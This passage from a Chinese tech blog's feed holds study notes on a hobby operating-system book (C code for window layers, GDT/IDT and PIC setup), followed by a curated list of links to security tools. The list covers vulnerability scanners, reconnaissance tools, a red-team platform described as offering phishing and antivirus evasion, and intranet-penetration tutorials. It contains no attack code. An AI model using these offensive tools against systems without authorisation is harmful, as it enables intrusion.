sheets0[i]。 </p><blockquote><p>设置图层的缓冲区大小和透明度</p></blockquote><pre><code class="c">void sheet_setbuf(struct SHEET *sht, unsigned char *buf, int xsize, int ysize,int col_inv){ sht->buf = buf; sht->bxsize = xsize; sht->bysize = ysize; sht->col_inv = col_inv; return;}</code></pre><blockquote><p>设定图层高度函数</p></blockquote><p>将指定的图层设置成新的高度</p><pre><code class="c">void sheet_updown(struct SHTCTL *ctl, struct SHEET *sht, int height){ int h, old = sht->height; /* 存储设置前的高度信息 */ /* 如果指定的高度过高或过低, 则进行修正 */ if (height > ctl->top + 1) { height = ctl->top + 1; } if (height < -1) { height = -1; } sht->height = height;/* 设定高度 */ /* 下面主要是进行sheets[ ]的重新排列 */ if (old > height) {/* 比以前低 */ if (height >= 0) { /* 把中间的往上提 */ for (h = old; h > height; h--) { ctl->sheets[h] = ctl->sheets[h - 1]; ctl->sheets[h]->height = h; } ctl->sheets[height] = sht; } else { /* 隐藏 */ if (ctl->top > old) { /* 把上面的降下来 */ for (h = old; h < ctl->top; h++) { ctl->sheets[h] = ctl->sheets[h + 1]; ctl->sheets[h]->height = h; } } ctl->top--; /* 由于显示中的图层减少了一个, 所以最上面的图层高度下降 */ } sheet_refresh(ctl);/* 按新图层的信息重新绘制画面 */ } else if (old < height) { /* 比以前高 */ if (old >= 0) { /* 把中间的拉下去 */ for (h = old; h < height; h++) { ctl->sheets[h] = ctl->sheets[h + 1]; ctl->sheets[h]->height = h; } ctl->sheets[height] = sht; } else { /* 由隐藏状态转为显示状态 */ /* 将已在上面的提上来 */ for (h = ctl->top; h >= height; h--) { ctl->sheets[h + 1] = ctl->sheets[h]; ctl->sheets[h + 1]->height = h + 1; } ctl->sheets[height] = sht; ctl->top++; /* 由于已显示的图层增加了1个, 所以最上面的图层高度增加 */ } sheet_refresh(ctl); /* 由于已显示的图层增加了1个, 所以最上面的图层高度增加 */ } return;}</code></pre><p><a href="https://blog.csdn.net/xiaoana_139/article/details/103802183">https://blog.csdn.net/xiaoana_139/article/details/103802183</a></p><p><img src="/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20220326163633662.png" alt="image-20220326163633662"></p><blockquote><p> 从下到上描绘所有的图层 </p></blockquote><pre><code class="c">void sheet_refresh(struct SHTCTL *ctl){ int h, bx, by, vx, vy; unsigned char *buf, c, *vram = ctl->vram; struct SHEET *sht; for (h = 0; h <= ctl->top; h++) { sht = ctl->sheets[h]; buf = sht->buf; for (by = 0; by < sht->bysize; by++) { vy = sht->vy0 + by; for (bx = 0; bx < sht->bxsize; bx++) { vx = sht->vx0 + bx; c = buf[by * sht->bxsize + bx]; if (c != sht->col_inv) { vram[vy * ctl->xsize + vx] = c; } } } } return;}</code></pre><p>由低到高遍历图层,</p><p>对每一个图层的每一个像素,如果不为透明,则将其写入vram中</p><blockquote><p>上下左右移动图层的函数</p></blockquote><pre><code class="c">void sheet_slide(struct SHTCTL *ctl, struct SHEET *sht, int vx0, int vy0){ sht->vx0 = vx0; sht->vy0 = vy0; if (sht->height >= 0) { /* 如果正在显示*/ sheet_refresh(ctl); /* 按新图层的信息刷新画面 */ } return;}</code></pre><blockquote><p>释放图层的函数</p></blockquote><pre><code class="c">void sheet_free(struct SHTCTL *ctl, struct SHEET *sht){ if (sht->height >= 0) { sheet_updown(ctl, sht, -1); /* 如果处于显示状态, 则先设定为隐藏 */ } sht->flags = 0; /* "未使用"标志 */ return;}</code></pre><h3 id="提高叠加的优化速度harib07c"><a href="#提高叠加的优化速度harib07c" class="headerlink" title="提高叠加的优化速度harib07c"></a>提高叠加的优化速度harib07c</h3><p>上面的代码,在每次鼠标移动时,将所有的图层都重新绘制了一遍。</p><p>其实在移动时只要修改鼠标所在范围的像素即可</p><pre><code class="c">void sheet_refreshsub(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1){ int h, bx, by, vx, vy; unsigned char *buf, c, *vram = ctl->vram; struct SHEET *sht; for (h = 0; h <= ctl->top; h++) { sht = ctl->sheets[h]; buf = sht->buf; for (by = 0; by < sht->bysize; by++) { vy = sht->vy0 + by; for (bx = 0; bx < sht->bxsize; bx++) { vx = sht->vx0 + bx; if (vx0 <= vx && vx < vx1 && vy0 <= vy && vy < vy1) { c = buf[by * sht->bxsize + bx]; if (c != sht->col_inv) { vram[vy * ctl->xsize + vx] = c; } } } } } return;}</code></pre><p>如图,通过使用vx0~vy1 来指定刷新(refresh)的区域。</p><p>遍历图层,如果满足vx0 <= vx && vx < vx1 && vy0 <= vy && vy < vy1(即与refresh重叠的区域),则写入像素。</p><p><img src="/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20220326181447845.png" alt="image-20220326181447845"></p><blockquote><p>改造sheet_slide</p></blockquote><pre><code class="c">void sheet_slide(struct SHTCTL *ctl, struct SHEET *sht, int vx0, int vy0){ int old_vx0 = sht->vx0, old_vy0 = sht->vy0; sht->vx0 = vx0; sht->vy0 = vy0; if (sht->height >= 0) { /* 如果正在显示, 则按新图层的信息刷新画面 */ sheet_refreshsub(ctl, old_vx0, old_vy0, old_vx0 + sht->bxsize, old_vy0 + sht->bysize); sheet_refreshsub(ctl, vx0, vy0, vx0 + sht->bxsize, vy0 + sht->bysize); } return;}</code></pre><p>这段程序所做的是: 首先记住目标图层移动前的显示位置(old), 再设定新的显示位置(new), 最后只要重新描绘移动前和移动后的地方就可以了。 </p><ol><li>重新绘制窗口移动前的所有图层在该窗口旧位置所在的像素。(sheet1就会显示的更为完整)</li><li>重新绘制窗口移动后所有图层在该窗口新位置所在的像素。(sheet2部分将会被覆盖)</li></ol><p><img src="/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20220326181653398.png" alt="image-20220326181653398"></p><blockquote><p>文字显示改造</p></blockquote><pre><code class="c">void sheet_refresh(struct SHTCTL *ctl, struct SHEET *sht, int bx0, int by0, intbx1, int by1){ if (sht->height >= 0) { /* 如果正在显示, 则按新图层的信息刷新画面*/ sheet_refreshsub(ctl, sht->vx0 + bx0, sht->vy0 + by0, sht->vx0 + bx1,sht->vy0 + by1); } return;}</code></pre><p>vx0和vy0是表示图层在画面上位置的坐标</p><p>首先确定刷新的范围为指定的图层指定的区域,其他图层在此区域重叠的部分都会被刷新。</p><h3 id="提高速度2-harib07d"><a href="#提高速度2-harib07d" class="headerlink" title="提高速度2 harib07d"></a>提高速度2 harib07d</h3><p>上面的sheet_refreshsub使用了太多IF判断,仍有很大的性能提升空间。</p><pre><code class="c">void sheet_refreshsub(struct SHTCTL *ctl, int vx0, int vy0, int vx1, int vy1){ int h, bx, by, vx, vy, bx0, by0, bx1, by1; unsigned char *buf, c, *vram = ctl->vram; struct SHEET *sht; for (h = 0; h <= ctl->top; h++) { sht = ctl->sheets[h]; buf = sht->buf; /* 使用vx0~vy1, 对bx0~by1进行倒推*/ bx0 = vx0 - sht->vx0; by0 = vy0 - sht->vy0; bx1 = vx1 - sht->vx0; by1 = vy1 - sht->vy0; if (bx0 < 0) { bx0 = 0; } if (by0 < 0) { by0 = 0; } if (bx1 > sht->bxsize) { bx1 = sht->bxsize; } if (by1 > sht->bysize) { by1 = sht->bysize; } for (by = by0; by < by1; by++) { vy = sht->vy0 + by; for (bx = bx0; bx < bx1; bx++) { vx = sht->vx0 + bx; c = buf[by * sht->bxsize + bx]; if (c != sht->col_inv) { vram[vy * ctl->xsize + vx] = c; } } } } return;}</code></pre><h2 id="——"><a href="#——" class="headerlink" title="——-"></a>——-</h2><h2 id="流程整体分析"><a href="#流程整体分析" class="headerlink" title="流程整体分析"></a>流程整体分析</h2><h3 id="CPU读入启动区"><a href="#CPU读入启动区" class="headerlink" title="CPU读入启动区"></a>CPU读入启动区</h3><blockquote><p>CPU将系统盘中第一个扇区(启动区)的内容(512Byte)加载入内存中,检验扇区最后两字节是否为0x55 ,0xAA. 如果计算机确认了第一个扇区的最后两个字节正好是0x55 AA, 那它就认为这个扇区的开头是启动程序, 并开始执行这个程序 。</p></blockquote><h3 id="通过启动区加载操作系统代码"><a href="#通过启动区加载操作系统代码" class="headerlink" title="通过启动区加载操作系统代码"></a>通过启动区加载操作系统代码</h3><p>一个扇区是远远不够存储操作系统的,因此需要让CPU将其他扇区代码读入内存(缓冲区)中,我们要借助启动区读入的就是操作系统的代码。</p><p>书中读入了10个柱面,10 × 2 × 18 × 512 = 184 320byte=180KB 也即读入了180KB的数据、代码</p><h3 id="代码1-,初始化信息"><a href="#代码1-,初始化信息" class="headerlink" title="代码1 ,初始化信息"></a>代码1 ,初始化信息</h3><p>启动区执行完成后,会跳转到读入的扇区初始处开始执行代码,也即执行asmhead.nas处的代码</p><p>通过asmhead,nas处的代码,进入C语言编写的主函数 void HariMain(void)</p><h3 id="代码2-,初始化GDT和IDT"><a href="#代码2-,初始化GDT和IDT" class="headerlink" title="代码2 ,初始化GDT和IDT"></a>代码2 ,初始化GDT和IDT</h3><blockquote><p>段号(segment selector 段选择符) 与GDT(global (segment) descriptor table 全局段号记录表)</p></blockquote><p>CPU需要用8个字节存储这些信息,但段寄存器只有16位(由于CPU设计的原因,低三位不能使用),因此段寄存器只能存储段号, 再由段号映射到存在内存中的GDT(global (segment) descriptor table,全局段号记录表),读取段的信息。</p><p>段寄存器有16位,三位不能使用,所以段号范围为0~8191即可以定义8192个段,每个段需要8字节来定义,一共需要64kb 即GDT大小为64KB</p><blockquote><p>IDT (interrupt descriptor table 中断记录表)</p></blockquote><p>当CPU遇到外部状况变化, 或者是内部偶然发生某些错误时, 会临时切换过去处理这种突发事件。 这就是中断功能 。</p><p>各个设备有变化时就产生中断, 中断发生后, CPU暂时停止正在处理的任务, 并做好接下来能够继续处理的准备, 转而执行中断程序。 中断程序执行完以后, 再调用事先设定好的函数, 返回处理中的任务。 正是得益于中断机制, CPU可以不用一直查询键盘, 鼠标, 网卡等设备的状态, 将精力集中在处理任务上。</p><p>IDT,Interrupt Descriptor Table,即中断描述符表,和GDT类似,他记录了0~255的中断号和调用函数之间的关系。</p><hr><p>GDT初始化</p><p>GDT1的段的属性为0x4092 , 起始地址是0, 大小是0xffffffff,刚好是4GB.表示cpu所能管理的全部内存</p><p>代码将0x280000~0x2fffff 设为GDT2 ,(通过asmhead.nas处理) 这里已经有bootpack.h了</p><p>load_gdtr()调用这个函数将GDT在内存中的位置存入GDTR寄存器中</p><hr><p>同理 load_idtr 将IDT 加载到IDTR寄存器中</p><h3 id="代码3-,初始化PIC"><a href="#代码3-,初始化PIC" class="headerlink" title="代码3 ,初始化PIC"></a>代码3 ,初始化PIC</h3><blockquote><p> PIC programmable interrupt controller 可编程中断控制器。</p></blockquote><p>PIC是将8个中断信号1集合成一个中断信号的装置。 PIC监视着输入管脚的8个中断信号, 只要有一个中断信号进来, 就将唯一的输出管脚信号变成ON, 并通知给CPU </p><p>IBM的大叔们想要通过增加PIC来处理更多的中断信号, 他们认为电脑会有8个以上的外部设备, 所以就把中断信号设计成了15个, 并为此增设了2个PIC。 </p><hr><blockquote><p> PIC初始化</p></blockquote><pre><code class="c">void init_pic(void)/* PIC的初始化 */{io_out8(PIC0_IMR, 0xff ); /* 禁止所有中断 */io_out8(PIC1_IMR, 0xff ); /* 禁止所有中断 */io_out8(PIC0_ICW1, 0x11 ); /* 边沿触发模式(edge trigger mode) */io_out8(PIC0_ICW2, 0x20 ); /* IRQ0-7由INT20-27接收 */io_out8(PIC0_ICW3, 1 << 2); /* PIC1由IRQ2连接 */io_out8(PIC0_ICW4, 0x01 ); /* 无缓冲区模式 */io_out8(PIC1_ICW1, 0x11 ); /* 边沿触发模式(edge trigger mode) */io_out8(PIC1_ICW2, 0x28 ); /* IRQ8-15由INT28-2f接收 */io_out8(PIC1_ICW3, 2 ); /* PIC1由IRQ2连接 */io_out8(PIC1_ICW4, 0x01 ); /* 无缓冲区模式 */io_out8(PIC0_IMR, 0xfb ); /* 11111011 PIC1以外全部禁止 */io_out8(PIC1_IMR, 0xff ); /* 11111111 禁止所有中断 */return;}</code></pre><blockquote><p>中断函数编写</p></blockquote><p>键盘的中断函数如下</p><pre><code class="c">void inthandler21(int *esp){ struct BOOTINFO *binfo = (struct BOOTINFO *) ADR_BOOTINFO; boxfill8(binfo->vram, binfo->scrnx, COL8_000000, 0, 0, 32 * 8 - 1, 15); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_FFFFFF, "INT 21 (IRQ-1) : PS/2 keyboard"); for (;;) { io_hlt(); }}</code></pre><p>一部分需要使用汇编处理</p><pre><code class="assembly">本次的naskfunc.nas节选EXTERN _inthandler21, _inthandler2c_asm_inthandler21:PUSH ESPUSH DSPUSHADMOV EAX,ESPPUSH EAXMOV AX,SSMOV DS,AXMOV ES,AXCALL _inthandler21POP EAXPOPADPOP DSPOP ESIRETD结果, 这个函数只是将寄存器的值保存到栈里, 然后将DS和ES调整到与SS相等, 再调用_inthandler21, 返回以后, 将所有寄存器的值再返回到原来的值, 然后执行IRETD。</code></pre><blockquote><p>将中断函数注册到IDT中</p></blockquote><pre><code class="c">set_gatedesc(idt + 0x21, (int) asm_inthandler21, 2 * 8, AR_INTGATE32);set_gatedesc(idt + 0x2c, (int) asm_inthandler2c, 2 * 8, AR_INTGATE32);</code></pre><p>为什么使用了 (int) - -</p><h2 id="工具记录"><a href="#工具记录" class="headerlink" title="工具记录"></a>工具记录</h2><h3 id="HEX-Editor-二进制编辑器"><a href="#HEX-Editor-二进制编辑器" class="headerlink" title="HEX Editor 二进制编辑器"></a>HEX Editor 二进制编辑器</h3><p><a href="https://hexeditor.en.softonic.com/download">https://hexeditor.en.softonic.com/download</a></p><h3 id="QEMU-虚拟机"><a href="#QEMU-虚拟机" class="headerlink" title="QEMU 虚拟机"></a>QEMU 虚拟机</h3><p><a href="https://www.qemu.org/">https://www.qemu.org/</a></p><h3 id="书本配套文件"><a href="#书本配套文件" class="headerlink" title="书本配套文件"></a>书本配套文件</h3><p><a href="https://github.com/sky5454/30daysMakeOS-Origin-ISOfiles">https://github.com/sky5454/30daysMakeOS-Origin-ISOfiles</a></p>]]></content>
<categories>
<category> 操作系统 </category>
</categories>
</entry>
<entry>
<title>GITHUB收集</title>
<link href="/2022/01/12/%E6%9D%82%E9%A1%B9/GITHUB%E6%94%B6%E9%9B%86/"/>
<url>/2022/01/12/%E6%9D%82%E9%A1%B9/GITHUB%E6%94%B6%E9%9B%86/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="scan"><a href="#scan" class="headerlink" title="scan"></a>scan</h2><h3 id="https-github-com-lcvvvv-gonmap"><a href="#https-github-com-lcvvvv-gonmap" class="headerlink" title="https://github.com/lcvvvv/gonmap"></a><a href="https://github.com/lcvvvv/gonmap">https://github.com/lcvvvv/gonmap</a></h3><p>gonmap是一个go语言的nmap端口扫描库,使用nmap开源的端口扫描策略,在效率和速度上取得一个折中的中间值,便于做大网络环境的资产测绘。</p><h4 id="webanalyze指纹识别"><a href="#webanalyze指纹识别" class="headerlink" title="webanalyze指纹识别"></a>webanalyze指纹识别</h4><p><a href="https://github.com/rverton/webanalyze">https://github.com/rverton/webanalyze</a></p><h4 id="水泽信息收集自动化工具"><a href="#水泽信息收集自动化工具" class="headerlink" title="水泽信息收集自动化工具"></a>水泽信息收集自动化工具</h4><p><a href="https://github.com/0x727/ShuiZe_0x727">https://github.com/0x727/ShuiZe_0x727</a></p><h4 id="基于YAML语法模板的定制化快速漏洞扫描器"><a href="#基于YAML语法模板的定制化快速漏洞扫描器" class="headerlink" title="基于YAML语法模板的定制化快速漏洞扫描器"></a>基于YAML语法模板的定制化快速漏洞扫描器</h4><p>Nuclei使用零误报的定制模板向目标发送请求,同时可以对大量主机进行快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。</p><p><a href="https://github.com/projectdiscovery/nuclei/">https://github.com/projectdiscovery/nuclei/</a></p><p><a href="https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/">https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/</a></p><h4 id="Vulmap-是一款-web-漏洞扫描和验证工具-可对-webapps-进行漏洞扫描-并且具备漏洞验证功能"><a href="#Vulmap-是一款-web-漏洞扫描和验证工具-可对-webapps-进行漏洞扫描-并且具备漏洞验证功能" class="headerlink" title="Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞验证功能"></a>Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞验证功能</h4><p><a href="https://github.com/zhzyker/vulmap">https://github.com/zhzyker/vulmap</a></p><h4 id="Asset-discovery-and-identification-tools-快速识别-Web-指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点"><a href="#Asset-discovery-and-identification-tools-快速识别-Web-指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点" class="headerlink" title="Asset discovery and identification tools 快速识别 Web 指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点"></a>Asset discovery and identification tools 快速识别 Web 指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点</h4><p><a href="https://github.com/zhzyker/dismap">https://github.com/zhzyker/dismap</a></p><h4 id="crlfuzz-A-fast-tool-to-scan-CRLF-vulnerability-written-in-Go"><a href="#crlfuzz-A-fast-tool-to-scan-CRLF-vulnerability-written-in-Go" class="headerlink" title="crlfuzz A fast tool to scan CRLF vulnerability written in Go"></a>crlfuzz A fast tool to scan CRLF vulnerability written in Go</h4><p><a href="https://github.com/dwisiswant0/crlfuzz">https://github.com/dwisiswant0/crlfuzz</a></p><h4 id="fscan-内网扫描器"><a href="#fscan-内网扫描器" class="headerlink" title="fscan 内网扫描器"></a>fscan 内网扫描器</h4><p><a href="https://github.com/shadow1ng/fscan">https://github.com/shadow1ng/fscan</a></p><p><em><span id="more"></span></em> </p><h4 id="如何编写一个xray-POC"><a href="#如何编写一个xray-POC" class="headerlink" title="如何编写一个xray POC"></a>如何编写一个xray POC</h4><p><a href="https://zhuanlan.zhihu.com/p/78334648">https://zhuanlan.zhihu.com/p/78334648</a></p><h4 id="DorkScout"><a href="#DorkScout" class="headerlink" title="DorkScout"></a>DorkScout</h4><p>可以通过Google搜索引擎自动查找互联网上存在安全漏洞的应用程序或机密文件,DorkScout首先会从<a href="https://www.exploit-db.com/google-hacking-database%E8%8E%B7%E5%8F%96%E5%8F%AF%E8%AE%BF%E9%97%AE%E5%88%B0%E7%9A%84Dock%E5%88%97%E8%A1%A8%EF%BC%8C%E7%84%B6%E5%90%8E%E5%AE%83%E4%BC%9A%E6%89%AB%E6%8F%8F%E4%B8%80%E4%B8%AA%E7%BB%99%E5%AE%9A%E7%9A%84%E7%9B%AE%E6%A0%87%EF%BC%8C%E6%88%96%E6%89%AB%E6%8F%8F%E6%89%80%E6%9C%89%E8%8E%B7%E5%8F%96%E5%88%B0%E7%9A%84Dock%E3%80%82">https://www.exploit-db.com/google-hacking-database获取可访问到的Dock列表,然后它会扫描一个给定的目标,或扫描所有获取到的Dock。</a></p><p><a href="https://github.com/R4yGM/dorkscout">https://github.com/R4yGM/dorkscout</a></p><h4 id="nucei"><a href="#nucei" class="headerlink" title="nucei"></a>nucei</h4><p>通过yaml模板对目标进行扫描</p><p><a href="https://github.com/projectdiscovery/nuclei">https://github.com/projectdiscovery/nuclei</a></p><p>yaml 漏洞模板集合</p><p><a href="https://github.com/projectdiscovery/nuclei-templates">https://github.com/projectdiscovery/nuclei-templates</a></p><h4 id="Web-Attack-Cheat-Sheet一份-Web-攻击速查表,里面提供了相关开发工具与实现方案"><a href="#Web-Attack-Cheat-Sheet一份-Web-攻击速查表,里面提供了相关开发工具与实现方案" class="headerlink" title="Web-Attack-Cheat-Sheet一份 Web 攻击速查表,里面提供了相关开发工具与实现方案"></a>Web-Attack-Cheat-Sheet一份 Web 攻击速查表,里面提供了相关开发工具与实现方案</h4><p>速查表覆盖了 DNS 和 HTTP 检测、视觉识别、静态应用安全测试、漏洞搜索、SQL 注入、SSRF(服务器端请求伪造)等技术点。</p><p><a href="https://github.com/riramar/Web-Attack-Cheat-Sheet">https://github.com/riramar/Web-Attack-Cheat-Sheet</a></p><h4 id="Finger-一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具"><a href="#Finger-一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具" class="headerlink" title="Finger 一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具"></a>Finger 一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具</h4><p><a href="https://github.com/EASY233/Finger">https://github.com/EASY233/Finger</a></p><h4 id="TideFinger"><a href="#TideFinger" class="headerlink" title="TideFinger"></a>TideFinger</h4><p><a href="https://github.com/TideSec/TideFinger">https://github.com/TideSec/TideFinger</a></p><h4 id="360-0Kee-Team-crawlergo动态爬虫结合长亭XRAY扫描器的被动扫描功能"><a href="#360-0Kee-Team-crawlergo动态爬虫结合长亭XRAY扫描器的被动扫描功能" class="headerlink" title="360/0Kee-Team/crawlergo动态爬虫结合长亭XRAY扫描器的被动扫描功能"></a>360/0Kee-Team/crawlergo动态爬虫结合长亭XRAY扫描器的被动扫描功能</h4><p><a href="https://github.com/timwhitez/crawlergo_x_XRAY">https://github.com/timwhitez/crawlergo_x_XRAY</a></p><h4 id="DalFox-Finder-Of-XSS-Parameter-Analysis-and-XSS-Scanning-tool-based-on-golang"><a href="#DalFox-Finder-Of-XSS-Parameter-Analysis-and-XSS-Scanning-tool-based-on-golang" class="headerlink" title="DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang"></a>DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang</h4><p><a href="https://github.com/hahwul/dalfox">https://github.com/hahwul/dalfox</a></p><h4 id="一款功能强大的漏洞扫描器"><a href="#一款功能强大的漏洞扫描器" class="headerlink" title="一款功能强大的漏洞扫描器"></a>一款功能强大的漏洞扫描器</h4><p>子域名爆破使用aioDNS,asyncio异步快速扫描,覆盖目标全方位资产进行批量漏洞扫描,中间件信息收集,自动收集ip代理,探测Waf信息时自动使用来保护本机真实Ip,在本机Ip被Waf杀死后,自动切换代理Ip进行扫描,Waf信息收集(国内外100+款waf信息)包括安全狗,云锁,阿里云,云盾,腾讯云等,提供部分已知waf bypass 方案,中间件漏洞检测(Thinkphp,weblogic等 CVE-2018-5955,CVE-2018-12613,CVE-2018-11759等),支持SQL注入, XSS, 命令执行,文件包含, ssrf 漏洞扫描, 支持自定义漏洞邮箱推送功能</p><p><a href="https://github.com/YagamiiLight/Cerberus">https://github.com/YagamiiLight/Cerberus</a></p><h4 id="crawlergo是一个使用chrome-headless模式进行URL收集的浏览器爬虫"><a href="#crawlergo是一个使用chrome-headless模式进行URL收集的浏览器爬虫" class="headerlink" title="crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫"></a>crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫</h4><p>对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。</p><p>crawlergo 目前支持以下特性:</p><ul><li>原生浏览器环境,协程池调度任务</li><li>表单智能填充、自动化提交</li><li>完整DOM事件收集,自动化触发</li><li>智能URL去重,去掉大部分的重复请求</li><li>全面分析收集,包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz</li><li>支持Host绑定,自动添加Referer</li><li>支持请求代理,支持爬虫结果主动推送</li></ul><p><a href="https://github.com/Qianlitp/crawlergo">https://github.com/Qianlitp/crawlergo</a></p><p><a href="https://github.com/ExpLangcn/WanLi">https://github.com/ExpLangcn/WanLi</a></p><p>使用Dirsearch, Subfinder, Ksubdomain, Httpx、nuclei工具进行快速目标资产检查并对目标资产进行敏感文件、敏感路径、漏洞验证检测。</p><h2 id="monitor"><a href="#monitor" class="headerlink" title="monitor"></a>monitor</h2><h4 id="Medusa是一个红队武器库平台,"><a href="#Medusa是一个红队武器库平台," class="headerlink" title="Medusa是一个红队武器库平台,"></a>Medusa是一个红队武器库平台,</h4><p>目前包括XSS平台、协同平台、CVE监控、免杀生成、DNSLOG、钓鱼邮件、文件获取等功能,持续开发中</p><p><a href="https://github.com/Ascotbe/Medusa">https://github.com/Ascotbe/Medusa</a></p><h4 id="ARL-Asset-Reconnaissance-Lighthouse-资产侦察灯塔系统"><a href="#ARL-Asset-Reconnaissance-Lighthouse-资产侦察灯塔系统" class="headerlink" title="ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统"></a>ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统</h4><p>旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。 协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面。</p><p><a href="https://github.com/TophantTechnology/ARL">https://github.com/TophantTechnology/ARL</a></p><h4 id="实时监控github上新增的cve和安全工具更新,多渠道推送通知"><a href="#实时监控github上新增的cve和安全工具更新,多渠道推送通知" class="headerlink" title="实时监控github上新增的cve和安全工具更新,多渠道推送通知"></a>实时监控github上新增的cve和安全工具更新,多渠道推送通知</h4><p><a href="https://github.com/yhy0/github-cve-monitor">https://github.com/yhy0/github-cve-monitor</a></p><h4 id="https-github-com-Le0nsec-SecCrawler"><a href="#https-github-com-Le0nsec-SecCrawler" class="headerlink" title="https://github.com/Le0nsec/SecCrawler"></a><a href="https://github.com/Le0nsec/SecCrawler">https://github.com/Le0nsec/SecCrawler</a></h4><p>一个方便安全研究人员获取每日安全日报的爬虫和推送程序,目前爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区,持续更新中。</p><h2 id="develop"><a href="#develop" class="headerlink" title="develop"></a>develop</h2><h4 id="Go语言学习资料"><a href="#Go语言学习资料" class="headerlink" title="Go语言学习资料"></a>Go语言学习资料</h4><p><a href="https://github.com/yangwenmai/learning-golang">https://github.com/yangwenmai/learning-golang</a></p><h2 id="teach"><a href="#teach" class="headerlink" title="teach"></a>teach</h2><h4 id="渗透步骤,web安全,CTF,业务安全,人工智能,区块链安全,安全开发,无线安全,社会工程学,二进制安全,移动安全,红蓝对抗,运维安全,风控安全,linux安全"><a href="#渗透步骤,web安全,CTF,业务安全,人工智能,区块链安全,安全开发,无线安全,社会工程学,二进制安全,移动安全,红蓝对抗,运维安全,风控安全,linux安全" class="headerlink" title="渗透步骤,web安全,CTF,业务安全,人工智能,区块链安全,安全开发,无线安全,社会工程学,二进制安全,移动安全,红蓝对抗,运维安全,风控安全,linux安全"></a>渗透步骤,web安全,CTF,业务安全,人工智能,区块链安全,安全开发,无线安全,社会工程学,二进制安全,移动安全,红蓝对抗,运维安全,风控安全,linux安全</h4><p><a href="https://github.com/Ascotbe/HackerMind">https://github.com/Ascotbe/HackerMind</a></p><h4 id="各种安全相关思维导图整理收集"><a href="#各种安全相关思维导图整理收集" class="headerlink" title="各种安全相关思维导图整理收集"></a>各种安全相关思维导图整理收集</h4><p><a href="https://github.com/phith0n/Mind-Map">https://github.com/phith0n/Mind-Map</a></p><h4 id="正则表达式学习"><a href="#正则表达式学习" class="headerlink" title="正则表达式学习"></a>正则表达式学习</h4><p><a href="https://regexlearn.com/learn">https://regexlearn.com/learn</a></p><h4 id="平常看到好的渗透hacking工具和多领域效率工具的集合"><a href="#平常看到好的渗透hacking工具和多领域效率工具的集合" class="headerlink" title="平常看到好的渗透hacking工具和多领域效率工具的集合"></a>平常看到好的渗透hacking工具和多领域效率工具的集合</h4><p><a href="https://github.com/taielab/awesome-hacking-lists">https://github.com/taielab/awesome-hacking-lists</a></p><h4 id="内网渗透教程"><a href="#内网渗透教程" class="headerlink" title="内网渗透教程"></a>内网渗透教程</h4><p><a href="https://github.com/Ridter/Intranet_Penetration_Tips">https://github.com/Ridter/Intranet_Penetration_Tips</a></p><h4 id="人工智能教程"><a href="#人工智能教程" class="headerlink" title="人工智能教程"></a>人工智能教程</h4><p><a href="https://github.com/microsoft/AI-System">https://github.com/microsoft/AI-System</a></p><h4 id="365天获取玄武实验室的工作"><a href="#365天获取玄武实验室的工作" class="headerlink" title="365天获取玄武实验室的工作"></a>365天获取玄武实验室的工作</h4><p><a href="https://github.com/Vancir/365-days-get-xuanwulab-job">https://github.com/Vancir/365-days-get-xuanwulab-job</a></p><h4 id="Java安全相关的漏洞和技术demo"><a href="#Java安全相关的漏洞和技术demo" class="headerlink" title="Java安全相关的漏洞和技术demo"></a>Java安全相关的漏洞和技术demo</h4><p><a href="https://github.com/threedr3am/learnjavabug">https://github.com/threedr3am/learnjavabug</a></p><h4 id="从零开始内网渗透学习"><a href="#从零开始内网渗透学习" class="headerlink" title="从零开始内网渗透学习"></a>从零开始内网渗透学习</h4><p><a 